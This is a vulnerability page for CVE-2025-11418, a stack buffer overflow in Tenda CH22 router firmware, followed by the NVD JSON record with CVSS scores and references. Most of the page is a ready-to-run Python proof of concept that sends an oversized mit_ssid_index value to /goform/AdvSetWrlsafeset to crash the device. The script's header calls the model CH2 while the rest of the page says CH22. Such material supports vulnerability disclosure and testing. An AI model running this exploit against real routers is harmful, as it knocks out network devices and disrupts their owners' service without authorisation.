CVE-2025-11418

#!/usr/bin/env python3 """ CVE-2025-11418 - Tenda CH2 Stack-based Buffer Overflow PoC Vulnerability: Stack buffer overflow in formWrlsafeset function Endpoint: /goform/AdvSetWrlsafeset Parameter: mit_ssid_index """ import requests import sys from urllib3.exceptions import InsecureRequestWarning # Disable SSL warnings requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) def exploit(target_ip, target_port=80): """ Exploit the stack-based buffer overflow vulnerability in Tenda CH22 router. The mit_ssid_index parameter is passed without proper length validation, causing a stack buffer overflow when processed by formWrlsafeset function. """ target_url = f"http://{target_ip}:{target_port}/goform/AdvSetWrlsafeset" # Construct malicious payload - oversized mit_ssid_index parameter # The buffer overflow is triggered by an excessively long string value payload = "A" * 1024 # Overflow payload length # HTTP request parameters params = { "mit_ssid_index": payload } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Accept": "*/*", "Connection": "close" } try: print(f"[*] Targeting: {target_url}") print(f"[*] Sending malicious payload with mit_ssid_index length: {len(payload)}") # Send the exploit request response = requests.get( target_url, params=params, headers=headers, timeout=10, verify=False ) print(f"[*] Response status code: {response.status_code}") print(f"[*] Response length: {len(response.text)}") if response.status_code == 200: print("[+] Request sent successfully") print("[!] Check if the device crashed or service is disrupted") else: print(f"[-] Unexpected response: {response.status_code}") except requests.exceptions.Timeout: print("[+] Target may have crashed - connection timeout (possible DoS)") except requests.exceptions.ConnectionError as e: print(f"[+] Connection error - target may be unresponsive: {e}") except Exception as e: print(f"[-] Error: {e}") def main(): if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [target_port]") print(f"Example: {sys.argv[0]} 192.168.0.1 80") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(target_ip, target_port) if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-11418", "sourceIdentifier": "[email protected]", "published": "2025-10-08T01:15:31.467", "lastModified": "2025-10-09T16:24:59.563", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security vulnerability has been detected in Tenda CH22 up to 1.0.0.1. This issue affects the function formWrlsafeset of the file /goform/AdvSetWrlsafeset of the component HTTP Request Handler. The manipulation of the argument mit_ssid_index leads to stack-based buffer overflow. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "baseScore": 10.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ch22_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.0.0.1", "matchCriteriaId": "408F628E-1CC8-4F65-B154-0F4247554825"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ch22:-:*:*:*:*:*:*:*", "matchCriteriaId": "4B2CBA2D-54D0-4860-A4B4-2BF5238E76AE"}]}]}], "references": [{"url": "https://github.com/Sxxxw/cve/issues/2", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.327354", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327354", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.665615", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.tenda.com.cn/", "source": "[email protected]", "tags": ["Product"]}]}}